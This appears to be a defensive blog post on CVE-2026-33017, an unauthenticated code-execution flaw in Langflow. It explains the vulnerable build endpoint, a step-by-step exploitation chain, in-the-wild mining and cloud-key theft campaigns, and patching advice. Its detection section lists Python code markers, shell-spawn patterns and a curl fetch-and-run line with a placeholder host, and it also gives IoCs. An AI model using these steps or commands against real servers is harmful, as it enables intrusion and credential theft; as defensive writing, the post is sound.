CVE Tools
Back to blog

CVE-2026-33017: the Langflow public endpoint that runs your code without a login

An unauthenticated exec() RCE in Langflow < 1.9.0 — KEV-listed, weaponised in 20 hours, and already mining Monero and stealing cloud keys

CVE-2026-33017: the Langflow public endpoint that runs your code without a login. An unauthenticated exec() RCE in Langflow < 1.9.0 — KEV-listed, weaponised in 20 hours, and already mining Monero an
CVE-2026-33017: the Langflow public endpoint that runs your code without a login. An unauthenticated exec() RCE in Langflow < 1.9.0 — KEV-listed, weaponised in 20 hours, and already mining Monero an

A single unauthenticated HTTP POST is enough to run your code on an internet-facing Langflow server. The endpoint POST /api/v1/build_public_tmp/{flow_id}/flow is meant to be public — it builds public flows for anonymous visitors — but in versions below 1.9.0 it accepted an optional data body and built the graph from attacker-supplied flow data instead of the stored flow. Because a Langflow flow can carry Python in its node definitions, and Langflow runs that Python through exec() with no sandbox, the result is full code execution as the Langflow service account — no login required.

What the flaw actually is

Langflow flows are graphs of components, and a custom component carries its own Python in a code field that Langflow executes when it builds the graph — by design. The only thing that is supposed to stop a stranger from submitting code-bearing flows is authentication. The public flow-build endpoint deliberately has none, because it exists to run public flows. The bug is that its handler also honoured an optional data parameter, so when an attacker supplied their own flow definition, the server built that instead of the stored public flow.

From there the attacker's Python rides the normal build path — start_flow_build → Graph.from_payload → instantiate_component → eval_custom_component_code → prepare_global_scope, which calls exec() on the component's code with no sandbox. Because prepare_global_scope runs the top-level statements in that code, the payload fires the moment the graph is built; the flow never even has to be "run". The flaw is classed as CWE-94 (code injection), CWE-95 (eval injection) and CWE-306 (missing authentication). It was found by researcher Aviral Srivastava, who documented the full call chain.

The exploitation chain

From one unauthenticated request to code execution, and then to the two things a compromised AI box is worth — its CPU and its keys. The kill-chain below (and the cheapest places to break it) reads left to right; click any node for the detail.

CVE-2026-33017 exploitation chain — unauth build_public_tmp to exec() RCE to miner / credential theft

  1. Internet-reachable Langflow &lt; 1.9.0 (port 7860) — Attacker finds an exposed Langflow (Shodan `http.title:"Langflow"` / port 7860). Any build **&lt; 1.9.0** is vulnerable; **1.8.2 is not safe** (JFrog). Fingerprint non-intrusively via unauthenticated `GET /api/v1/version`.
  2. Default AUTO_LOGIN → mint a public flow — If no public flow exists, the default `AUTO_LOGIN=true` lets the attacker hit `/api/v1/auto_login` for superuser and create their own public flow — so the only precondition is trivially satisfied.
  3. Unauth POST /api/v1/build_public_tmp/{flow_id}/flow — A single unauthenticated POST carrying an optional **`data`** body — an attacker-controlled flow whose custom-component `code` field holds Python.
  4. Handler builds attacker `data` instead of stored flow — The vulnerable handler honours the supplied `data` over the DB flow: `start_flow_build(data=attacker_data)` → `Graph.from_payload()`.
  5. prepare_global_scope() → exec() (no sandbox) — `instantiate_component → eval_custom_component_code → create_class → prepare_global_scope` runs the node's top-level Python via `exec()` with zero sandboxing — code runs at graph **build** time.
  6. Unauthenticated RCE as the Langflow service account — Full code execution. Weaponised in the wild within ~20h of disclosure; public Nuclei template + 5+ GitHub PoCs.
  7. Outcome A: lambsys → XMRig Monero miner — Dropper `isp.sh` → `/var/tmp/.xlamb/` → `lambsys.elf` (kills rival miners, disables AppArmor/SELinux/UFW, wipes logs) → XMRig `procq`. See IoCs in the Detection section.
  8. Outcome B: KeyHunter → cloud/AI credential theft — Dump process env for OpenAI/Anthropic/**AWS** keys → recon Bedrock/S3/EC2/IAM via a NATS-backed worker botnet. This is why 'just kill the miner' is the wrong response.
  9. Chokepoint: remove internet exposure / block endpoint — Cheapest prevention: firewall/VPN-gate port 7860 and block `POST /api/v1/build_public_tmp/*/flow` at a proxy; disable AUTO_LOGIN; delete public flows.
  10. Chokepoint: detect the anomalous POST + egress — Nuclei template + Sigma (POST to build_public_tmp with Python code markers) + OAST/C2 egress alerts catch the attempt and the follow-on stage-2 fetch.
  11. Chokepoint: patch to ≥ 1.9.0 (removes `data`) — The real fix: 1.9.0 removes the `data` parameter so public flows run only stored definitions. Verify the running build via `/api/v1/version`.

Am I affected?

Every Langflow release below 1.9.0 (that is, up to and including 1.8.2) is vulnerable; 1.9.0 removes the data parameter so public flows can only execute their stored definition. The quickest non-intrusive check is the unauthenticated version endpoint — curl -s http://TARGET:7860/api/v1/version — and anything under 1.9.0 is exposed. Here is how the risk axes line up (keep them separate — a high CVSS, a high EPSS and a KEV listing each say a different thing):

AxisValueWhat it means
Affected / fixed< 1.9.0 vulnerable (incl. 1.8.2) · fixed in 1.9.01.8.2 is NOT safe (JFrog); verify the running build via /api/v1/version
CVSS9.8 (CVSS 3.1) · 9.3 (CVSS 4.0)Unauthenticated, network-reachable, low-complexity, full impact — both Critical
EPSS~0.982 (about the 99.9th percentile)Among the most likely-to-be-exploited CVEs tracked — and here it is backed by real campaigns
CISA KEVAdded 25 Mar 2026 · due 8 Apr 2026Federally confirmed as actively exploited, not merely exploitable
Exposure~7,000 internet-facing Langflow instances (widely cited)Total Langflow footprint, majority in North America — not the confirmed-unpatched subset

Exploited in the wild — carefully stated

This is not theoretical. Sysdig's honeypots recorded the first exploit attempt about 20 hours after the advisory — before any public proof-of-concept existed, meaning attackers weaponised it from the advisory text alone. Since then two distinct commodity campaigns have run against the bug. The first drops a Go loader ("lambsys") that kills rival miners, disables AppArmor/SELinux/UFW, wipes logs and installs a customised XMRig Monero miner (Trend Micro, via The Hacker News). The second — Sysdig's "KeyHunter" — is the one that should worry you more: it dumps the process environment to steal OpenAI, Anthropic and AWS keys and then recons Bedrock, S3 and IAM. That is why "just kill the miner" is the wrong response; assume the instance's secrets are gone.

Disclosure to exploitation

  1. Reported to vendor
    Researcher Aviral Srivastava privately reports the unauthenticated RCE
  2. Advisory + fix (1.9.0)
    GHSA-vwmf-pq79-vjvx published; the fix ships in 1.9.0
    source
  3. First in-the-wild exploitation
    ~20 hours after disclosure, before any public PoC (Sysdig honeypots)
    source
  4. Added to CISA KEV
    "Langflow Code Injection Vulnerability" — remediation due 8 Apr 2026
    source
  5. Still being exploited
    Monero-mining campaign ongoing months after the patch
    source

Detection & hunting

The single most useful fact for defenders: the build endpoint is supposed to run a stored flow, so any POST to /api/v1/build_public_tmp/*/flow whose body carries Python code markers is inherently anomalous. ProjectDiscovery ships an official Nuclei template that confirms code execution and falls back to the version check. On the host, watch for the exec() sink being abused:

  • Web/proxy: a POST to /api/v1/build_public_tmp/*/flow with a body containing __import__, import os, subprocess, os.popen, exec(, eval(, b64decode or urllib.request — alert on it (Sigma/WAF).
  • Host/EDR: the Langflow/uvicorn Python process spawning a shell (/bin/sh, sh -c, bash -c), or bash -c "$(curl -fsSL http://<ip>/…)" fetch-and-run patterns.
  • Credential theft: the web process reading .env files or OpenAI/Anthropic/AWS keys, or base64-encoding output followed by an outbound POST.
  • Egress: the Langflow host reaching OAST/interactsh domains (.oast.live, ``.oast.pro) or dropper C2 — a Langflow container has no business making outbound shell-fetch traffic.
  • Miner IoCs (retro-hunt, low durability): persistence at /var/tmp/.xlamb/, a lambsys.elf Go binary, a customised XMRig, and sustained high CPU.
# Non-intrusive exposure check — is this Langflow below 1.9.0?
curl -s http://TARGET:7860/api/v1/version -H 'accept: application/json' \
 | python3 -c "import sys,json;from packaging.version import parse; \
v=json.load(sys.stdin).get('version','');
print(v,'VULNERABLE (CVE-2026-33017)' if v and parse(v)<parse('1.9.0') else 'patched/unknown')"

What to do now

  1. Patch to Langflow ≥ 1.9.0 — the only real fix. Verify the running build reports 1.9.0+ via /api/v1/version; do not trust "1.8.2 patched".
  2. Can't patch this hour? Take it off the internet — firewall/VPN-gate port 7860 and block POST /api/v1/build_public_tmp/*/flow at a reverse proxy.
  3. Remove the preconditions — disable the default AUTO_LOGIN (no-auth) mode and delete existing public flows so no known UUID exists.
  4. Egress-filter the Langflow host so a successful exec() can't fetch stage-2 payloads or exfiltrate to C2.
  5. If it was exposed before you patched, assume credential theft — rotate every OpenAI/Anthropic/AWS key, DB credential and SSH key the process could see, hunt the IoCs above, review cloud activity, and rebuild the host rather than cleaning it.

FAQ

Is CVE-2026-33017 being exploited?
Yes. It is on CISA KEV (added 25 Mar 2026), and Sysdig recorded exploitation within ~20 hours of disclosure. Two commodity campaigns are documented — a Monero cryptominer ("lambsys") and the "KeyHunter" botnet that steals cloud/AI credentials. Run a free exposure check.
Which Langflow versions are affected?
Everything below 1.9.0, including 1.8.2. The flaw is fixed in 1.9.0, which removes the attacker-controlled data parameter. Confirm the running build via GET /api/v1/version — JFrog showed 1.8.2 was not actually fixed.
How is this different from CVE-2025-3248?
Same underlying exec() sink, different door. CVE-2025-3248 was an unauthenticated RCE via /api/v1/validate/code, fixed by adding authentication. CVE-2026-33017 lives in a deliberately public build endpoint, so the fix had to strip the attacker-data channel instead. The pattern — attacker-controlled Python reaching exec() on an internet-facing AI tool — keeps recurring.
We patched — are we safe?
If the running build reports 1.9.0+ and the instance wasn't publicly exposed beforehand, yes. If it was exposed before patching, assume the keys it held were stolen: rotate OpenAI/Anthropic/AWS credentials, DB and SSH keys, and hunt for the miner/credential-theft IoCs.

Sources